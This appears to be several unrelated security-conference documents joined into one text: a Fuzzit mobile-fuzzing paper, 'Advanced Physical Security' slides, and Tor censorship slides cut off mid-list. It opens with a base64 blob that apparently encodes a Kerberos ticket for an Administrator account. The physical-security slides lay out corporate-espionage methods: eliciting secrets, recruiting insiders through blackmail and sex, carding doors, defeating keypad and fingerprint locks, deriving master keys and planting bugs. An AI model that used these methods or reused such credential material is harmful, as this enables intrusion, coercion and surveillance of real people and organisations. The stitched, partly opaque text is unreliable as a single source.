NTCsFYVi8HCXqZT+wdn4jAPUglBgszrHotC7mMVNpK49OZtxDOjbVM4o8cyD95Hj2x9GNxW6cDuBnmrv 5UOC30VhTd4+jlgCJu1DiJO5EDEBmLD1xLn+XPyzODlKiinTt5xeZ2YitVlm/dgWZbrMOslVncfEef2d bqGrrGV/Go5xdpRVhjdbYNnLcu6TBxaf2P6s/lGrEul2qN1gfOKOmvo4ZVb0YE1CuAci2eqA2xuw7eEP WPWoUGTld0yPMTuXLrp6CpdyXYFsrZKJ8weGsCGIwSufB6KQPmVSSZbaHPZ91wr1X1EFFrdWKZUHTfVP ASvCk7Ntwk5WsxN32BUyNGp0oLeMDoZ4PYSqDJmCIAIYR/Ep1/2u3wFyX5mLehegDC3EUjz2bWtQGgTo Q3xClPbRguYwNJ2mnVVApivXQenBVl3iudAv8U3/aYPmHBT/wibJyheSgKXZEdg+VSmRGxKEJJQz/p7p r7ndWMpZP43I8W9sTyplYeV73aKr5frcx4frPgEx8kg+nLfTc1GUtdGhbhTgrhkAqjbFcFlthGYmPEm8 OLLSJVPmotug2pYRDTvZPr0dw9K9OVznJraIqiHusygXxt7S6h5d/MWQ1BEd0xyZOt2+Yd/pYrwOCDd3 hC1vj4lGdo4F5+cnNVzDxkCfZDAtiEE6ASeeIuOAM/gyJKlVGyWtNcPNdCIDLSWvT+fB3BRNdcTYFjNp AumhOGHnXQX3kIeQpePITcVs25/vyJBk7R8opGksDWLvsfldAKOB2jCB16ADAgEAooHPBIHMfYHJMIHG oIHDMIHAMIG9oBswGaADAgERoRIEEHQlOOBoBtVhGU25ZV4ArgahDRsLREVWLlBJRy5DT02iGjAYoAMC AQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBApQAApREYDzIwMjIwNTE1MDEyMDIzWqYRGA8yMDIyMDUx NTExMjAyM1qnERgPMjAyMjA1MjIwMTIwMjNaqA0bC0RFVi5QSUcuQ09NqSIwIKADAgECoRkwFxsEY2lm cxsPTERDLmRldi5waWcuY29t
pdf
Fuzzit: A Mobile Fuzzing Tool  Kevin Mahaffey   John Hering  Anthony Lineberry  Flexilis – http://www.flexilis.com  Introduction to Fuzzit  Fuzzit is a tool designed to find vulnerabilities in mobile devices.  It implements a testing technique that  most readers will be familiar with called fuzzing.  In short, fuzzing aims to trigger software faults by  automatically‐generating and injecting unusual, unexpected, or out‐of‐specification input into a system.   Such input typically includes malformed data structures/formats in both expected and unexpected  system states.  In a fuzzing system, there are four major components that contribute its overall  effectiveness: a generation system, a state management system, an injection system, and a result  analysis system.  As we will discuss below, Fuzzit  was written from the ground up to address the  problems faced when auditing mobile devices and mobile‐specific protocols.  Why did we need to write something new?  Although currently available fuzzers are fine for most uses, we believe that mobile is a unique enough  problem domain that existing tools would require significant changes to address the problems we face  in fuzzing mobile devices.  We also wanted to share a few fuzzing techniques that we've found to be  successful over the years.  Fuzzit is built to address the problems with fuzzing mobile devices.  Most importantly, the attack surface of a mobile device has significantly more breadth than that of a  typical PC or server.  We cannot solely focus on protocols that are borne over the TCP/IP, as mobile  devices implement additional protocol stacks such as Bluetooth, WAP, and NFC.  A mobile fuzzing  system must be flexible enough to support not only the generation of data for various protocols and file  formats, but also the state management and injection requirements for those protocols and files.    Fuzzit is designed with a generic core that performs functionality common to various protocols and file  formats. The framework is designed to prefer configuration over customization.  For example, when  generating integers as part of a file type or format, Fuzzit uses an IntElement.  By default, an instance of  IntElement generates a 1‐byte unsigned integer.  If a 3 byte little‐endian integer was needed to fuzz a  given protocol, instead of building a new element (e.g. LE32IntElement) you can simply configure an  IntElement to act as desired by sending has_length(3) and has_endianness(:little) to it.  To minimize  configuration, the framework uses intelligent defaults wherever possible.  The default IntElement (1  byte) will generate fuzz values that match the configuration of that element ("\x00", "\xff", "\x7f",  "\x80", etc.).  The 3‐byte little‐endian integer element by default will generate fuzz values that match its  configuration ("\x00\x00\x00", "\xff\xff\xff", "\xff\xff\x7f", "\x00\x00\x80", etc.).     Fuzzing wireless protocol stacks such as Bluetooth, WAP, NFC, and Wi‐Fi is usually best performed in  communication with physical hardware, rather than a simulated or emulated environment. This means  that Fuzzit must be able to interface with a radio to communicate with the device under test.  The Fuzzit  generation system makes no assumptions about radio‐specific injection, state management, or result  analysis systems.  The generation system can simply be asked to create PDUs (protocol data units) that  use supplied session or connection context information (e.g. dynamic channel numbers, sequence  identifiers, port numbers).  Furthermore, the generation system is built to generate and parse "good"  PDUs for use in setup, teardown, and state management from the same data structure definitions used  to generate fuzzed PDUs.  More on the re‐use of data structure definitions is discussed below.   When fuzzing wireless protocols on mobile devices, we often have no access or limited access to the  device under test.  In order to adequately categorize the results from a fuzzer's test case, we must either  be able analyze data returned from a device or perform additional checks on the device (e.g. ping,  current state determination) to decide if any sort of fault occurred.  Needless to say, this process is a lot  more complicated than attaching a debugger to a local process.  Fuzzit is designed to allow easy  implementation of arbitrary result analysis systems without requiring modification to the fuzzer's other  systems.  This modularity promotes the building generic result analysis systems that can be used to fuzz  many different types of software on a given platform or many different types of platforms implementing  a given protocol (e.g. a gdbserver‐based result analysis system for Android devices, a Bluetooth  disconnection reason analysis tool for use on multiple platforms).  To fuzz protocols and file formats that cannot be accessed remotely or are difficult to adequately access  remotely, we need programmatic access to a device.  Specifically, we need an agent on the device that  can implement injection and result reporting.  Because no single agent can run on all mobile platforms,  we need multiple agents with a common interface to the fuzzer's host so that we can maximally re‐use  code between platforms.  Fuzzit supplies an agent communication protocol that allows a host to send  test cases against one or more physical or emulated devices simultaneously.    Each mobile platform tends to have peculiarities that require customizations for a fuzzing system to  adequately target it.  For example, analyzing Bluetooth disconnection event reasons (e.g. baseband  timeout, remote radio explicitly closed connection) that reliably identify software faults on one platform  often provides no insight on another.  In developing earlier fuzzers that have targeted mobile devices,  we've had to change substantial amounts of code to accommodate for peculiarities of one system or  another because of assumptions that were baked in from the start.  Fuzzit is written to be loosely  coupled so that we can isolate changes required for a specific platform to only those components that  are affected by the peculiarities. That way, the core components do not assume behavior of a specific  device and remain unchanged.  Perhaps most relevant to someone performing a security audit, mobile protocols are evil.  Under the  banner of maximizing efficiency, robustness, and flexibility, such protocols liberally add complexity.   Mobile protocols often use complex data structures, curious encoding methods, and well‐arrowed state  graphs.  In order to be able to create a fuzzer in a timely manner, a generation system for mobile  protocols must be VERY flexible and allow a large amount of customization on a per‐protocol basis  without significant amounts of new code.  Fuzzit is written to allow pre‐defined functionality to be  extended dynamically without having to write new core elements.  For example, if a protocol serialized  an arbitrary length integer by reserving the most significant bit of each byte as a continuation field,  IntElement could generate this field by being sent the following:  encodes_with do |instance, value, context| out = "" i = 0 while (value>>(7*i)) > 0 do out<< ((value>>(7*i) & 0x7f) | (i == 0 ? 0 : 0x80)) i += 1 end out.reverse1 end Mobile protocols also make frequent use of non‐octet aligned fields, requiring the generation system to  be able to fuzz bitwise elements. Fuzzit implements bitwise support by allowing elements to declare that  they represent an arbitrary number of bits.  Serialization to a byte stream is taken care of by a BitBlock  which can be extended to support arbitrary bit/byte ordering conventions.  It is important to note that having a strong generation system can tempt the author of a fuzzer to err on  the side of implementing a given protocol rather than building a tool to break it.  Fuzzit cannot supplant  creative insight into how to break software.  When implementing a fuzzer with Fuzzit, one must take  care to include fuzzed values that break the structure of a protocol in addition to fuzzing invalid values in  a valid structure.  For example, in the above example of an arbitrarily length integer field, the exemplary  encoder does not allow the creation of a field with no final byte.  Because Fuzzit allows custom encoders  as well as custom fuzzed values, a value for a particular element may be defined so as to include  arbitrary encoder parameters.  An example value might be [0xdecaf, :no_terminator] with the  encoder defined so as to respond to the :no_terminator parameter appropriately.  What else is new?  Besides addressing the major issues we've found with fuzzing mobile devices, Fuzzit implements a few  other fuzzing concepts that we've found to be successful over the years.  Even though Fuzzit has been  built for mobile, we believe it to be an excellent general purpose fuzzer as well.  In fuzzing, and testing in general, there is a tradeoff between time required to run a suite of tests and  the depth of conditions tested.  The depth of conditions has two degrees of freedom.  First, the author  of a fuzzer may choose how many different variations a given element (e.g. integer, string, length field)  has.  The number of variations is fairly straightforward, as most fuzzers simply define a corpus of known  integers, strings, etc. that are likely to cause errors.  Second, the fuzzing framework must choose which  variation of each element in a data structure to test in each test case.  One approach is to build a set of  test cases by specifying a known good PDU or file that fuzzes one element at a time in each test case.  In  the case of fuzzing an HTTP GET request, this could mean taking a valid request and manipulating a  single delimiter or string at a time in each test case.  This approach has the advantage of a small number  of test cases for each test definition, but is likely not to find bugs that rely on two or more invalid inputs.   Another approach is to use a Cartesian product, where a test case for all possible combinations of  element variations is generated.  This approach has the advantage of covering a wide range of the input  space, but, when fuzzing a complex data structure that has many elements needing to be fuzzed, the  1 Ruby automatically returns the result of the last evaluation from a method, so an explicit return is unnecessary.  number of test cases is likely to explode.  Fuzzit takes a hybrid of these two approaches by iteratively  testing an increasing number elements being fuzzed at a time, with all other elements taking expected  (i.e. good) values.  It first tests one element being fuzzed at a time, then two, three, etc.  The assertion  here is that there are diminishing returns as more elements fuzzed simultaneously.  This combinatorial  scheme has an advantage in that it allows a researcher to decide how deeply he or she wishes to fuzz,  with the test cases most likely to cause errors being run first.    Besides fuzzing data content, we've found that fuzzing state transitions is a valuable part of any security  audit.  In our experience, simply injecting well‐formed data at unexpected times has yielded some very  interesting software flaws.  Using both well‐formed and malformed data at various states is even better.   Fuzzit includes a core state management system that can be extended for specific test scenarios.  For a protocol that is delivered on top of another in a stack (e.g. HTTP borne on either TLS or TCP),  fuzzing multiple protocols in the stack as opposed to just the top protocol has turned up some  interesting errors for us in the past.  Although this would certainly cause combinatorial explosion for  many fuzzers, Fuzzit's approach to combinatorics ensures that fuzzing a full stack of protocols  simultaneously in moderate depth is feasible in a reasonable timeframe.  As a note, fuzzing a stack of  protocols is usually only effective if the target implementation is leaky, that is, if the top protocol is not  well encapsulated from lower layer protocols.  For example, TCP and UDP are typically very well  encapsulated via a socket interface, so trying to target the TCP reassembly subsystem while fuzzing an  HTTP server is unlikely to find faults (I would love to be proven wrong on this!).  Bluetooth and WAP,  however, tend to be quite leaky, as lower protocols on the stack are often not well encapsulated.  When working with stateful protocols or multiple test configurations for a given protocol or file format,  having to re‐define the same data structure or PDU multiple times is not only tedious, but also  contributes to brittle code.  Fuzzit is built to use the same data definition format for parsing valid data,  generating valid data, and generating fuzzed data.  The data parsing, fuzzing, and generation methods of  Elements and Blocks (the two primitive types in Fuzzit) are stateless, meaning that all information  needed to parse, generate, or fuzz is passed into the methods and not stored in the Element or Block  Objects.  Statefulness is pushed as far towards the edges of the system as possible.  For example, an  injection system and state management system must be stateful to keep track of the position in a test  suite or the position in a protocol's state graph, respectively.  None of the core objects such systems rely  on are stateful.    How do I use it?  As a note, you'll notice that we spend a lot of thought on software and API design so that Fuzzit is as  flexible as possible.  That flexibility not only makes writing new fuzzers for never‐before‐thought‐of  scenarios easy, but also allows us to continuously improve the architecture of the framework.  From the  time of writing to when you read this, some APIs may have changed, so be sure to check out the Fuzzit  page at http://www.fuzzit.com to get the latest documentation.  Fuzzit is implemented in Ruby, a dynamic object‐oriented programming language.  Key considerations  for choosing Ruby include its ability to implement Domain Specific Languages and support for functional  programming features—plus it is fun to write!  The most basic part of Fuzzit is the humble Element.  Elements represent a field in a protocol or file  format that can take a value. Different types of Elements (e.g. IntElement, CrcElement, StringElement)  are implemented as subclasses of Element.  An Element is responsible for converting between serialized  data and symbolic representations of data.  A discussion of Element is incomplete without bringing in Block.  A Block can hold multiple Elements and  even other Blocks.  A new Block can be instantiated with several Elements inside of it as follows:  block = Fuzzit::Block.new do |b| b.IntElement(:elem1) b.IntElement(:elem2) end2 An Element is always declared with a name, while a Block is optionally declared with a name. When a  Block is declared without a name, all symbols used to generate, parse, or fuzz a data structure are  merged with the parent.  If a Block is declared with a name, that name is used to create a separate  naming layer.  This way a Block can be used to encapsulate a protocol borne on another or simply to  group together related elements for use with by a LengthElement or other form of reference.  An Element may be sent messages to customize its behavior:  b.IntElement(:elem1).has_endianness(:little).has_length(13,:bytes) One or more nominal values for an Element may be defined so that when fuzzing a different Element,  this Element will cycle through its nominal values.  b.Element(:elem1).has_value("hello") b.Element(:elem2.has_values(:type_1 => "1", :type_2 => "2", :type_3 => "3") An Element may also have values that are dynamically evaluated.  One of the values an Element takes  may be a ruby Proc object (e.g. lambda) that accepts 2 parameters, the instance of the Element and the  context of the current data structure being written.  b.IntElement(:random).has_length(1,:byte).has_value( lambda{|inst, ctxt| rand(0x100) } ) 2 Rubyists will notice that the above syntax is different from the standard method of instantiating a class.   b.IntElement(:elem1) is effectively b.add(Fuzzit::IntElement.new(:elem1)), but we have shortened  the API for ease of use.  The parameter, b, is the instance of the new Block object being created.  The context is an important tool as it allows an Element to act upon the values of other Elements. The  context encapsulates the state of the current test case so that no changes to Element or Block instances  need to be made during the generation process.    Once a block has been defined, a generator can be created with specific values to fuzz or no values to  fuzz  block = Fuzzit::Block.new do |b| b.IntElement(:elem1).has_length(3, :bytes) b.IntElement(:elem2).has_length(2, :bytes) b.LengthElement(:length).for(:string_elem).has_length(2, :bytes).has_endianness(:little) b.StringElement(:string_elem) end generator_with_default_values = block.fuzz_with() generator_with_specific_value = block.fuzz_with(:string_elem => ["A"*100, "%s%s", "\xff"*10000, "A"*100 + "\x00" + "A"*100]) Once we have a generator, it can be used to build all of the data structures we wish to fuzz with.   Generators are able to index and describe the fuzzed data so that we can instantly rebuild the fuzzed  data for a given test case and describe what value each Element took symbolically.  Using the precursor to Fuzzit, we discovered a vulnerability affecting the SDP protocol in the Bluetooth  implementation of the Apple iPhone.  The vulnerability has since been disclosed and fixed.    The SDP protocol specifies a primitive that includes a type descriptor and a size descriptor.  Depending  on the value of the size descriptor, the data for the primitive may have a fixed number of bytes or a  variable number of bytes.  If the size descriptor specifies a variable number of bytes, a fixed‐width  length field comes between the descriptor byte and the data.  SDP also specifies that certain type  descriptors are only allowed to have certain size descriptors.  Here is an example PDU that triggered the vulnerability:  Using an invalid type descriptor with a size descriptor specifying fixed length (4 bytes) data causes the  Bluetooth server process to crash with:  Exception Type:  EXC_BAD_ACCESS  Exception Codes: KERN_INVALID_ADDRESS at 0xFFFFFFFF  Here is a simplistic generator block that would generate this PDU:  sdp_block = Fuzzit::Block.new do |b| b.IntElement(:id).has_length(1, :byte).has_value(:service_search_request => 2) b.IntElement(:transaction_id).has_length(2, :bytes) b.LengthElement(:payload_length).for(:payload).has_length(2,:bytes) b.Block(:payload) do |p| p.BitBlock(:descriptor, 1) do |bb| bb.IntElement(:type).has_length(5,:bits).add_fuzz_values((0..0x1f).entries) bb.IntElement(:length_type).has_length(3,:bits).add_fuzz_values((0..7).entries) end p.LengthElement(:data_length).for(:data).fuzzes_length(0,1,2,4,8,16) p.IntElement(:data).fuzzes_length(1,2,3,4,5,6,7,8,16,100,1000,10000) end end Notice how in the offending PDU there is no data length field.  By declaring the :data_length Element as  having a fuzzable length with 0 being one of the lengths, that element will be omitted in a set of test  cases.  Also note that a fuzzable length corresponds to the width of an Element, not the content of that  Element.  How the content of Elements is fuzzed is explicitly specified by the add_fuzz_values call or by  the default of fuzz values associated with the specific Element subclass.  Bringing it all together  After building creating a generator for a specific protocol or file format, the next step is to integrate it  with an injection system, result analysis system, and optionally, a state management system.  The Fuzzit  framework has a convention for how all of these systems work together, so that components can be  mixed and matched without any code needing to change.  In the SDP example above, the generator was  only useful without a robust state management system and result analysis system.  The examples shown above are purposefully simple to introduce Fuzzit and its basic usage.  For more in‐ depth information on integrating a generator with other systems to create a full fuzzing system,  advanced techniques for working with complex protocols, and examples of fuzzers implemented with  Fuzzit, check out http://www.fuzzit.com.
pdf
Advanced Physical Security Beyond Dumpster Diving and Social Engineering or, Screw the Firewall and the Secretary Too Eric Schmiedl security.ericschmiedl.com “We Want Information… Information… Information… “ “You won’t get it.” “By hook or by crook, we will…” – The Prisoner (1967) "Many of Russia's wealthiest banks and corporate tycoons have set up their own private security agencies, usually staffed with former KGB officers. Their task is to spy on their political and business enemies and to gather compromising material... ...the former KGB has fragmented into a multitude of private agencies that exploit their secret-police expertise for personal profit." –Geoffrey York, The Globe and Mail, 7/8/00 "[US officials] say a record 108 nations were involved in trying to steal sensitive US technologies in 2005, the last year for which full data was available." –James Kitfield, Air Force Magazine, March 2007 Blurring the line between industrial and government espionage Hacking for exploration -> Hacking to steal money/information Clever exploitation of technology -> Whatever gets the goods Computer crime as a business We’ve seen an explosion of computer crime in the past few years, and I’m not talking about people hacking the NSA so they listen in on Karl Rove’s cell phone. I mean the flourishing industry in stolen credit card numbers. I mean people in Who-Knows-Where-istan using their botnets to wipe companies off the Web if they don’t pay protection money. And above all, I mean identity theft -- people taking out lines of credit using stolen financial information. The thing is, Ivan P. Malwarovski doesn’t care about how he gets the information he needs to take people to the cleaners. It doesn’t matter to him whether he pulled off a great end-run around the IDS or whether he paid his buddy the ex-KGB agent to break into their office and plant a laptop in the dropped ceiling. Ivan makes his money no matter what. And what if he isn’t in the identity theft business? Maybe he knows a Romanian commodities trader with a couple million left over from his last oil deal that he’d love to put towards some unorthodox market research. With modern financial networks subject to all sorts of monitoring, he might be better off with a microphone above the boardroom ceiling than a laptop. You and everyone else are the weakest link Elicitation Recruitment Infiltration Elicitation... "[the] subtle extraction of information during an apparently normal and innocent conversation." – NASA Elicitation • NEVER ask 'the question' Elicitation • Play dumb-- make deliberately false statements. People love to correct errors. Elicitation • Get them involved in a game of one-upmanship. Elicitation • Ask for help. Elicitation • Flattery! o "The greater the expert, the more he appreciates praise." – Christopher Nolan Elicitation • Ask sensitive questions in the middle of a conversation. Elicitation People usually only remember the beginning and the end of a conversation. You’ll probably only remember the beginning and end of the presentation • It's all about putting together little pieces of information. o Speak with many different people to fill in different parts of the picture.  In each division of the company (technical, sales, etc.) a few people will know about the target project o Outside the company, too:  Customers  Suppliers  Trade journalists  Professional societies  Consultants Elicitation • Know when to stop. Elicitation Elicitation 50% will talk to an anonymous stranger immediately 35% will ask who the stranger is working for, but talk happily after being told that the stranger can’t say who he’s working for 15% won’t talk Will talk 50% Elicitation 50% will talk to an anonymous stranger immediately 35% will ask who the stranger is working for, but talk happily after being told that the stranger can’t say who he’s working for 15% won’t talk Asks questions 35% Will talk 50% Elicitation 50% will talk to an anonymous stranger immediately 35% will ask who the stranger is working for, but talk happily after being told that the stranger can’t say who he’s working for 15% won’t talk Won’t talk 15% Asks questions 35% Will talk 50% Elicitation 50% will talk to an anonymous stranger immediately 35% will ask who the stranger is working for, but talk happily after being told that the stranger can’t say who he’s working for 15% won’t talk What will people tell a complete stranger? Enemy Within: Recruiting Spies "[Recruitment requires] incremental entrapment in a subtle web of irresistible compromises." – James Angleton, CIA counter- spook Recruitment Gradual escalation 1. Spot the potential recruit 2. Do your homework 3. Get access to them 4. Develop them as a recruit 5. Recruit them 6. Profit!!! Recruitment Steps of recruitment • People with access to: o The information o Other people (access agents) • Make sure they aren't counter-spies What to look for in a potential agent o Their potential motivations o Their habits/vices Background work-- what do you want to know about someone in order to recruit them? o Money o Revenge (on a person) o Revenge (on a government or system-- disaffection) o Blackmail or hostage situation o National pride o Emotional involvement o Naivete o Sex o Ideology Why would they work for you? o People who can get you in touch with the target. o Ideally they have connections in the target group or community, but prostitutes will do in a pinch. What’s an access agent? o Find recruits o Make introductions o Fuck What do access agents do? (I had a feeling that would get your attention.)  People trust people they have sex with  KGB swallows and ravens  the "secretaries offensive" / Romeo spies  "Love, or a plausible semblance of it, was capable of generating more intelligence over a longer period than brief sexual encounters [and blackmail." –Mitrokhin / Andrew Development, the nice way 1. Establish friendship 2. Ask for innocent or insignificant favor, and reward it generously 3. Wash, rinse, repeat. They become dependent on your money 4. Get them on the path to betrayal • ask for the internal phonebook 5. Ask for something more sensitive, with a good excuse Development, the mean way • Make their life hell • Offer to fix it– for a (small but significant) price. • Escalate. • Make the pitch. • Be ready to blackmail. KPMG / Guy Enright / Diligence, Inc Story time. • A fake resume and good interview skills will get you far. o ...ditto with protest or political groups  Heathrow Airport & C2i vs. Plane Stupid • Temporary employees o Construction worker + lunchbox full of radio transmitters and microphones = a night shift full of fun What if you can’t spot a likely agent? Infiltrate! • Tailgating • Forged IDs • Request to Exit Sensors • Attack the mechanism • Dropped ceilings Maybe you just want to break in, Watergate style... People are polite. Take advantage of them! Tailgating: the fine art of following legit users through a door The man in charge of security at an unnamed military base wanted to check the security at his installation. He called up two of his drinking buddies who worked as staff in one of the more sensitive areas in the base, and proposed a little game... using his authority, he had passes made up for them that replaced the faces on their cards with those of African baboons, and offered them each a night of drinks if they could get in undetected for a solid week. They were only found out three months later when one of the staffers dropped his card in front of the guard -- the guard finally looked at the picture when he was picking it off the floor. Photo IDs suck. Source: www.african-safari-pictures.com The man in charge of security at an unnamed military base wanted to check the security at his installation. He called up two of his drinking buddies who worked as staff in one of the more sensitive areas in the base, and proposed a little game... using his authority, he had passes made up for them that replaced the faces on their cards with those of African baboons, and offered them each a night of drinks if they could get in undetected for a solid week. They were only found out three months later when one of the staffers dropped his card in front of the guard -- the guard finally looked at the picture when he was picking it off the floor. Photo IDs suck. Request to Exit Sensor (n): Motion detector conveniently placed to save an attacker the trouble of picking the lock—by allowing him to use a helium balloon instead • Sliding/carding/loiding • Lockset vulnerabilities • Breathe on the fingerprint sensor • ...a whole lot more • aka 'sliding' or 'carding' o aka 'using a credit card'  (don't actually do that) deadlatch latch The card pushes or pulls the latch back when you slip it between the door and doorjamb. Sometimes even modern locks with deadlatches designed to prevent this are vulnerable -- either the locksmith installed the strikeplate in the door such that it doesn’t push back the little nub, or the door is using an electric strikeplate that doesn’t even try to engage the deadlatch. Photos from the Institute of Certified Locksmiths, http://theinstituteofcertifiedlocksmiths.org • Lockset vulnerabilities: • Don't involve picking the lock– they're often fast and easy • Vary from model to model • e.g the Adams-Rite Bypass: Electronic Locks mbled digits ime the y in SPECIFICATIONS: • Dimensions: 5.39" I V l 14 Some electronic systems are really well designed and secure Others aren’t. You can bypass a lot of keypads with the strategic use of yellow highlighter ink. It blends in great with the keys but fluoresces under UV light, and fingers track it from key to key so you can see what order the keys are pushed. Sometimes, just your breath is enough. If you breathe on some older fingerprint locks, the lock will open-- your breath doesn’t condense where the last user’s fingerprint left skin-oils. (I’m not Deviant Ollam) Lock picking leaves no visible evidence of entry, and most mechanical locks can be picked A priest, a rabbi, and a spy walk into an office building. The spy says to the receptionist, “Mind if I use your restroom?” Matt Blaze independently discovered and published a vulnerability in master-keyed pin tumbler locks that allows someone with a single key that fits a single lock in the system to figure out the master key for the system. In short, they cut a series of six or seven keys (one for each pin in the lock). Each key is identical to the source (change) key, except for one pin position which is left uncut. To find the master key, they try each key in the lock, and record which one(s) work. They repeat this again, cutting down each uncut position by one cut-depth, until they’ve reached the bottom cut depth. They now have at least two key-cut codes for the lock: one of which is the key they started with, one of which is the master key for the building, and maybe a few others whose purpose can be figured out with a little more work. How the Watergate burglars were caught Former CIA official and Watergate burglary-team member James McCord used duct tape on the stairwell door locks to prevent them from locking. While making his rounds, Watergate security guard Frank Willis noticed the duct tape and pulled it off, then continued on his rounds. But McCord was stupid and put more duct tape on—when the security guard saw that it had been replaced, he called the cops. One more thing we can learn from Watergate Dropped ceilings are really convenient. When they were caught, the Washington DC police found two ceiling panels had been taken down from the ceiling of the DNC secretary’s office. Since the secretary’s office was adjacent to that of the chairman’s, it was possible to place a bug above those panels that would listen to everything being said in the office. It didn’t matter how well the office was secured—the DNC chairman could have had the best lock in the world on his door, but the dropped ceiling panels that most people assume are the real ceiling were a wonderful backdoor. “Gentlemen do not read each other’s mail.” –Henry L. Stimson, US Secretary of State, 1931 I guess that means all you gentlemanly types can safely skip over to that other awesome talk you were thinking of going to, because I’m going to talk about just those things Mr. Stimson hated. Who’s expecting this guy? Visual surveillance is the easiest and probably the most legal way of seeing what a target is up to. All it demands is access to a good vantage point, and modern optics will reveal a lot. Who expects someone to be looking in through a skyscraper’s window? Not Boston’s MBTA, anyway. As part of their research into the security of Boston’s MBTA subway system, my friends Zack Anderson, RJ Ryan, and Alessandro Chiesa realized that the main operations building was visible from publicly-accessible areas of a nearby office building. Through the magic of modern technology, they didn’t even need to get past the front desk in order to see what was going on inside. flexispy.com world-tracker.com Flexispy.com will sell you software for 100-150 Euro (depending on OS) that allows any Symbian, Windows Mobile, or Blackberry-based phone to be used as a bug. –Die Welt, 4/26/2008 Security staff at the Ritz-Carlton hotel in Wolfsburg, Germany found a “babyphone” intercom concealed under the sofa in Porsche boss Wendelin Wideking’s room. According to hotel records, no family had stayed in the room for several weeks prior. ...regular intercoms, too Digital Voice Recorders: They’re even advertised as perfect for recording meetings! What does your voice mail say about you? Voice mail boxes are easy to password-guess Why not just put a bug on the CEO? Heck, why not get him to bug his own meeting, and save us the trouble... Wireless microphones are designed to provide crystal-clear audio at a decent range, consistently and reliably. Even to the guy with the radio in the parking lot. ...getting a little more advanced: Bluetooth! Keyloggers! the PBX! VOIP! That van has been parked there for an awfully long time: Advanced Techniques TEMPEST Wim Van Eck discovered the fine art of Van Eck Phreaking back in the 80s, even though the NSA had known about the trick since the 1950s–they called it TEMPEST. In short, TEMPEST attacks involve using the radiation emitted by electronics in the course of normal operation to figure out what those electronics are doing. The original Van Eck research used the signal emitted by CRTs to reconstruct the picture on the screen at a distance. Nowdays, LCDs make that a whole lot tougher— so get your boss to buy you that 30” Cinema Display already.... But forget the wireless keyboard. Turns out some are pretty easy to intercept. Phone taps If you’re going to go great lengths to read someone’s email, you might as well listen to their phone calls too. If you’re Wal-Mart trying to hunt down people talking with the New York Times, pesky details like warrants aren’t a big obstacle to your investigation. [Bruce Gabbard story] They should have hired Anthony Pellicano. You can hide a transmitter just about anywhere. You can hide a transmitter anywhere. No, seriously. Tell your paranoid boss he may want to go in for a proctologic examination. Heck, you can even hide the bug outside the room. Google ‘laser bounce window listener’ Ceiling camera is watching you Sandridge Elementary School case. But cameras don’t just provide compromising footage of office trysts Using hidden cameras to discover alarm system codes or safe combinations Other useful information: reconstructing keystrokes from audio How to Find a Bug: the fine art of TSCM Spy shop ‘bug finders’ suck. No, really, don’t even bother. Spotting signals: the spectrum analyzer. What’s the difference? OSCOR and other spectrum comparators, the WinRADIO cheap option Even when the bugs are turned off: the Non-Linear Junction Detector Voice Over Just About Anything: the HF receiver and carrier-current bugs Can’t Beat the Heat: Thermal Imaging ...most important of all: physical search! Check the car, and the home. Case examples: Equitable Life CEO and Tommy Sheridan Want to hire a pro? It’ll cost you. When TSCM goes wrong Kid Rock nightclub story Wireless networks are outside the scope of this talk. Not that it matters, since they’re all 100% secure these days anyway. Go attack something easier. Like a printer.
pdf
1 The Tor Project Our mission is to be the global resource for technology, advocacy, research and education in the ongoing pursuit of freedom of speech, privacy rights online, and censorship circumvention. 2 ● Online Anonymity – Open Source – Open Network ● Community of researchers, developers, users and relay operators. ● U.S. 501(c)(3) non- pro%t organization 3 Estimated 2,000,000 to 8,000,000 daily Tor users 4 Threat model: what can the attacker do? Alice Anonymity network Bob watch (or be!) Bob! watch Alice! Control part of the network! 5 Anonymity isn't encryption: Encryption just protects contents. Alice Bob “Hi, Bob!” “Hi, Bob!” <gibberish> attacker 6 7 Anonymity serves different interests for different user groups. Anonymity “It's privacy!” Private citizens 8 Anonymity serves different interests for different user groups. Anonymity Private citizens Businesses “It's network security!” “It's privacy!” 9 Anonymity serves different interests for different user groups. Anonymity Private citizens Governments Businesses “It's traffic-analysis resistance!” “It's network security!” “It's privacy!” 10 Anonymity serves different interests for different user groups. Anonymity Private citizens Governments Businesses “It's traffic-analysis resistance!” “It's network security!” “It's privacy!” Human rights activists “It's reachability!” 11 12 13 14 15 16 Tor's safety comes from diversity ● #1: Diversity of relays. The more relays we have and the more diverse they are, the fewer attackers are in a position to do traffic confirmation. (Research problem: measuring diversity over time) ● #2: Diversity of users and reasons to use it. 50000 users in Iran means almost all of them are normal citizens. 17 Transparency for Tor is key ● Open source / free software ● Public design documents and specifications ● Publicly identified developers ● Not a contradiction: privacy is about choice! 18 Tor censorship epochs ● Background / Phase 1 (2006-2011): Bridges, pluggable transports ● Phase 2 (2011-2019): Active probing, obfsproxy, domain fronting, many more countries ● Phase 3 (2019-?): Snowflake, obfs4, decoy routing, ... 19 Relay versus Discovery There are two pieces to all these “proxying” schemes: a relay component: building circuits, sending traffic over them, getting the crypto right a discovery component: learning what relays are available 20 The basic Tor design uses a simple centralized directory protocol. R2 R1 Alice Trusted directory Trusted directory R3 cache cache Relays publish self-signed descriptors. Authorities publish a consensus list of all descriptors Alice downloads consensus and descriptors from anywhere 21 Early blocking ● 2006: Thailand blocks our website by DNS ● 2007: Iran/Saudi Arabia/others use websense/smartfilter to block Tor’s http directory fetches. The fix: put everything inside TLS. 22 23 24 Iran throttles SSL (June 2009) ● We made Tor's TLS handshake look like Firefox+Apache. ● So when Iran freaked out and throttled SSL bandwidth by DPI in summer 2009, they got Tor for free 25 Attackers can block users from connecting to the Tor network 1) By blocking the directory authorities 2) By blocking all the relay IP addresses in the directory, or the addresses of other Tor services 3) By filtering based on Tor's network fingerprint 4) By preventing users from finding the Tor software (usually by blocking website) 26 R4 R2 R1 R3 Bob Alice Alice Alice Alice Alice Blocked User Blocked User Blocked User Blocked User Blocked User Alice Alice Alice Alice Alice Alice Alice Alice Alice Alice 27 How do you find a bridge? 1) https://bridges.torproject.org/ will tell you a few based on time and your IP address 2) Mail bridges@torproject.org from a gmail address and we'll send you a few 3) I mail some to a friend in Shanghai who distributes them via his social network 4) You can set up your own private bridge and tell your target users directly 28 China (September 2009) ● China grabbed the list of public relays and blocked them ● They also enumerated+blocked one of the three bridge buckets (https://bridges.torproject.org/) ● But they missed the other bridge buckets. 29 30 31 China (March 2010) ● China enumerated the second of our three bridge buckets (the ones available at bridges@torproject.org via Gmail) ● We were down to the social network distribution strategy, and the private bridges 32 Iran 